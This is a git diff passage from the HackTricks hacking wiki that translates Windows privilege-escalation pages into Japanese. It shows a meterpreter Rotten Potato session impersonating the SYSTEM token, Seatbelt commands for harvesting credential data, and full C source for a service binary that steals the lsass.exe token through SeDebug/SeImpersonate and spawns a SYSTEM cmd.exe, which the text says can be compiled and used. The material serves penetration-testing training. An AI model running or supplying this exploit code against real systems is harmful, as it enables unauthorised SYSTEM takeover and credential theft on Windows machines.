======================================== No tokens available ``` - -We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit. - +現在、私たちはインパーソネーション トークンを持っていないことがわかります。Rotten Potato exploitを実行しましょう。 ``` meterpreter > execute -f rottenpotato.exe -Hc Process 3104 created. Channel 2 created. meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will beavailable - Call rev2self if primary process token is SYSTEM +Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== @@ -84,33 +79,30 @@ Impersonation Tokens Available ======================================== NT AUTHORITY\SYSTEM ``` - -We need to quickly impersonate the token or it will disappear. - +私たちはトークンを素早く偽装する必要があります。そうしないと、トークンは消えてしまいます。 ``` meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" [-] Warning: Not currently running as SYSTEM, not all tokens will beavailable - Call rev2self if primary process token is SYSTEM +Call rev2self if primary process token is SYSTEM [-] No delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` - -Success! We have our SYSTEM shell and can grab the root.txt file! +成功しました!SYSTEMシェルを取得し、root.txtファイルを取得できました!
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/windows-local-privilege-escalation/seatbelt.md b/windows-hardening/windows-local-privilege-escalation/seatbelt.md index 0a0c2cb25..97c0ed048 100644 --- a/windows-hardening/windows-local-privilege-escalation/seatbelt.md +++ b/windows-hardening/windows-local-privilege-escalation/seatbelt.md @@ -1,41 +1,36 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Start - -[You need to compile it](https://github.com/GhostPack/Seatbelt) or [use precompiled binaries \(by me\)](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt) +# スタート +[コンパイルする必要があります](https://github.com/GhostPack/Seatbelt)または[事前にコンパイルされたバイナリを使用します(私によるもの)](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt) ```text SeatbeltNet3.5x64.exe all SeatbeltNet3.5x64.exe all full #Without filtering ``` +私は実施されたフィルタリングが本当に好きです。 -I really like the performed filtering. +# チェック -# Check - -This tool is more gathering-info oriented than privesc, but it has some pretty nice checks and looks for some passwords. - -**SeatBelt.exe system** collects the following system data: +このツールは、特権昇格よりも情報収集に重点を置いていますが、いくつかの便利なチェックを行い、いくつかのパスワードを探します。 +**SeatBelt.exe system** は、次のシステムデータを収集します: ```text BasicOSInfo - Basic OS info (i.e. architecture, OS version, etc.) RebootSchedule - Reboot schedule (last 15 days) based on event IDs 12 and 13 @@ -66,12 +61,10 @@ ARPTable - Lists the current ARP table and adapter information (e AllTcpConnections - Lists current TCP connections and associated processes AllUdpConnections - Lists current UDP connections and associated processes NonstandardProcesses - Running processeswith file info company names that don't contain 'Microsoft' - * If the user is in high integrity, the following additional actions are run: +* If the user is in high integrity, the following additional actions are run: SysmonConfig - Sysmon configuration from the registry ``` - -**SeatBelt.exe user** collects the following user data: - +**SeatBelt.exe user**は、次のユーザーデータを収集します: ```text SavedRDPConnections - Saved RDP connections TriageIE - Internet Explorer bookmarks and history (last 7 days) @@ -84,11 +77,9 @@ RecentFiles - Parsed "recent files" shortcuts (last 7 days) MasterKeys - List DPAPI master keys CredFiles - List Windows credential DPAPI blobs RDCManFiles - List Windows Remote Desktop Connection Manager settings files - * If the user is in high integrity, this data is collected for ALL users instead of just the current user +* If the user is in high integrity, this data is collected for ALL users instead of just the current user ``` - -Non-default collection options: - +非デフォルトのコレクションオプション: ```text CurrentDomainGroups - The current user's local and domain groups Patches - Installed patches via WMI (takes a bit on some systems) @@ -103,23 +94,18 @@ RecycleBin - Items in the Recycle Bin deleted in the last 30 days - 4648Events - 4648 explicit logon events from the security event log KerberosTickets - List Kerberos tickets. If elevated, grouped by all logon sessions. ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md index 4f6b7f6c7..f90d89175 100644 --- a/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md +++ b/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md @@ -1,29 +1,26 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-The following code **exploits the privileges SeDebug and SeImpersonate** to copy the token from a **process running as SYSTEM** and with **all the token privileges**. \ -In this case, this code can be compiled and used as a **Windows service binary** to check that it's working.\ -However, the main part of the **code where the elevation occurs** is inside the **`Exploit`** **function**.\ -Inside of that function you can see that the **process **_**lsass.exe**_** is searched**, then it's **token is copied**, and finally that **token is used to spawn a new **_**cmd.exe**_** with all the privileges of the copied token**. - -**Other processes** running as SYSTEM with all or most of the token privileges are: _**services.exe**_**, **_**svhost.exe**_ (on of the firsts ones), _**wininit.exe**_**, **_**csrss.exe**_... (_remember that you won't be able to copy a token from a Protected process_). Moreover, you can use the tool [Process Hacker](https://processhacker.sourceforge.io/downloads.php) running as administrator to see the tokens of a process. +次のコードは、**SeDebugとSeImpersonateの特権を悪用**して、**SYSTEMとして実行されているプロセス**からトークンをコピーするものです。\ +このコードは、**Windowsサービスバイナリ**としてコンパイルして使用することができます。\ +ただし、昇格が発生する**コードのメイン部分は`Exploit`関数**内にあります。\ +その関数内では、**`lsass.exe`プロセスが検索**され、その**トークンがコピー**され、最後にその**トークンを使用してコピーされたトークンの特権を持つ新しい`cmd.exe`が生成**されます。 +他の**SYSTEMとして実行されているプロセス**で、すべてまたはほとんどのトークン特権を持つものには、_**services.exe**_、_**svhost.exe**(最初のいくつかのプロセスの1つ)、_**wininit.exe**_、_**csrss.exe**_などがあります(_保護されたプロセスからトークンをコピーすることはできないことを覚えておいてください_)。さらに、管理者として実行されるツール[Process Hacker](https://processhacker.sourceforge.io/downloads.php)を使用して、プロセスのトークンを表示することもできます。 ```c #include #include @@ -38,213 +35,210 @@ HANDLE stopServiceEvent = 0; //This function will find the pid of a process by name int FindTarget(const char *procname) { - HANDLE hProcSnap; - PROCESSENTRY32 pe32; - int pid = 0; - - hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (INVALID_HANDLE_VALUE == hProcSnap) return 0; - - pe32.dwSize = sizeof(PROCESSENTRY32); - - if (!Process32First(hProcSnap, &pe32)) { - CloseHandle(hProcSnap); - return 0; - } - - while (Process32Next(hProcSnap, &pe32)) { - if (lstrcmpiA(procname, pe32.szExeFile) == 0) { - pid = pe32.th32ProcessID; - break; - } - } - - CloseHandle(hProcSnap); - - return pid; +HANDLE hProcSnap; +PROCESSENTRY32 pe32; +int pid = 0; + +hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); +if (INVALID_HANDLE_VALUE == hProcSnap) return 0; + +pe32.dwSize = sizeof(PROCESSENTRY32); + +if (!Process32First(hProcSnap, &pe32)) { +CloseHandle(hProcSnap); +return 0; +} + +while (Process32Next(hProcSnap, &pe32)) { +if (lstrcmpiA(procname, pe32.szExeFile) == 0) { +pid = pe32.th32ProcessID; +break; +} +} + +CloseHandle(hProcSnap); + +return pid; } int Exploit(void) { - - HANDLE hSystemToken, hSystemProcess; - HANDLE dupSystemToken = NULL; - HANDLE hProcess, hThread; - STARTUPINFOA si; - PROCESS_INFORMATION pi; - int pid = 0; + +HANDLE hSystemToken, hSystemProcess; +HANDLE dupSystemToken = NULL; +HANDLE hProcess, hThread; +STARTUPINFOA si; +PROCESS_INFORMATION pi; +int pid = 0; - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); +ZeroMemory(&si, sizeof(si)); +si.cb = sizeof(si); +ZeroMemory(&pi, sizeof(pi)); - // open high privileged process - if ( pid = FindTarget("lsass.exe") ) - hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); - else - return -1; - - // extract high privileged token - if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) { - CloseHandle(hSystemProcess); - return -1; - } - - // make a copy of a token - DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken); +// open high privileged process +if ( pid = FindTarget("lsass.exe") ) +hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); +else +return -1; - // and spawn a new process with higher privs - CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", - NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); +// extract high privileged token +if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) { +CloseHandle(hSystemProcess); +return -1; +} - return 0; +// make a copy of a token +DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken); + +// and spawn a new process with higher privs +CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", +NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); + +return 0; } void WINAPI ServiceControlHandler( DWORD controlCode ) { - switch ( controlCode ) { - case SERVICE_CONTROL_SHUTDOWN: - case SERVICE_CONTROL_STOP: - serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +switch ( controlCode ) { +case SERVICE_CONTROL_SHUTDOWN: +case SERVICE_CONTROL_STOP: +serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - SetEvent( stopServiceEvent ); - return; +SetEvent( stopServiceEvent ); +return; - case SERVICE_CONTROL_PAUSE: - break; +case SERVICE_CONTROL_PAUSE: +break; - case SERVICE_CONTROL_CONTINUE: - break; +case SERVICE_CONTROL_CONTINUE: +break; - case SERVICE_CONTROL_INTERROGATE: - break; +case SERVICE_CONTROL_INTERROGATE: +break; - default: - break; - } - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +default: +break; +} +SetServiceStatus( serviceStatusHandle, &serviceStatus ); } void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { - // initialise service status - serviceStatus.dwServiceType = SERVICE_WIN32; - serviceStatus.dwCurrentState = SERVICE_STOPPED; - serviceStatus.dwControlsAccepted = 0; - serviceStatus.dwWin32ExitCode = NO_ERROR; - serviceStatus.dwServiceSpecificExitCode = NO_ERROR; - serviceStatus.dwCheckPoint = 0; - serviceStatus.dwWaitHint = 0; +// initialise service status +serviceStatus.dwServiceType = SERVICE_WIN32; +serviceStatus.dwCurrentState = SERVICE_STOPPED; +serviceStatus.dwControlsAccepted = 0; +serviceStatus.dwWin32ExitCode = NO_ERROR; +serviceStatus.dwServiceSpecificExitCode = NO_ERROR; +serviceStatus.dwCheckPoint = 0; +serviceStatus.dwWaitHint = 0; - serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); +serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); - if ( serviceStatusHandle ) { - // service is starting - serviceStatus.dwCurrentState = SERVICE_START_PENDING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +if ( serviceStatusHandle ) { +// service is starting +serviceStatus.dwCurrentState = SERVICE_START_PENDING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - // do initialisation here - stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); +// do initialisation here +stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); - // running - serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); - serviceStatus.dwCurrentState = SERVICE_RUNNING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +// running +serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); +serviceStatus.dwCurrentState = SERVICE_RUNNING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - Exploit(); - WaitForSingleObject( stopServiceEvent, -1 ); +Exploit(); +WaitForSingleObject( stopServiceEvent, -1 ); - // service was stopped - serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); +// service was stopped +serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); - // do cleanup here - CloseHandle( stopServiceEvent ); - stopServiceEvent = 0; +// do cleanup here +CloseHandle( stopServiceEvent ); +stopServiceEvent = 0; - // service is now stopped - serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); - serviceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus( serviceStatusHandle, &serviceStatus ); - } +// service is now stopped +serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); +serviceStatus.dwCurrentState = SERVICE_STOPPED; +SetServiceStatus( serviceStatusHandle, &serviceStatus ); +} } void InstallService() { - SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); +SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); - if ( serviceControlManager ) { - TCHAR path[ _MAX_PATH + 1 ]; - if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { - SC_HANDLE service = CreateService( serviceControlManager, - serviceName, serviceName, - SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, - 0, 0, 0, 0, 0 ); - if ( service ) - CloseServiceHandle( service ); - } - CloseServiceHandle( serviceControlManager ); - } +if ( serviceControlManager ) { +TCHAR path[ _MAX_PATH + 1 ]; +if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { +SC_HANDLE service = CreateService( serviceControlManager, +serviceName, serviceName, +SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, +SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, +0, 0, 0, 0, 0 ); +if ( service ) +CloseServiceHandle( service ); +} +CloseServiceHandle( serviceControlManager ); +} } void UninstallService() { - SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); +SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); - if ( serviceControlManager ) { - SC_HANDLE service = OpenService( serviceControlManager, - serviceName, SERVICE_QUERY_STATUS | DELETE ); - if ( service ) { - SERVICE_STATUS serviceStatus; - if ( QueryServiceStatus( service, &serviceStatus ) ) { - if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) - DeleteService( service ); - } - CloseServiceHandle( service ); - } - CloseServiceHandle( serviceControlManager ); - } +if ( serviceControlManager ) { +SC_HANDLE service = OpenService( serviceControlManager, +serviceName, SERVICE_QUERY_STATUS | DELETE ); +if ( service ) { +SERVICE_STATUS serviceStatus; +if ( QueryServiceStatus( service, &serviceStatus ) ) { +if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) +DeleteService( service ); +} +CloseServiceHandle( service ); +} +CloseServiceHandle( serviceControlManager ); +} } int _tmain( int argc, TCHAR* argv[] ) { - if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { - InstallService(); - } - else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { - UninstallService(); - } - else { - SERVICE_TABLE_ENTRY serviceTable[] = { - { serviceName, ServiceMain }, - { 0, 0 } - }; - - StartServiceCtrlDispatcher( serviceTable ); - } +if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { +InstallService(); +} +else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { +UninstallService(); +} +else { +SERVICE_TABLE_ENTRY serviceTable[] = { +{ serviceName, ServiceMain }, +{ 0, 0 } +}; - return 0; +StartServiceCtrlDispatcher( serviceTable ); +} + +return 0; } ``` - -**The code of this example was shared by an anonymous person.** +**この例のコードは匿名の人物によって共有されました。**
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md index f05cfe673..32f0846b1 100644 --- a/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md +++ b/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md @@ -1,166 +1,159 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
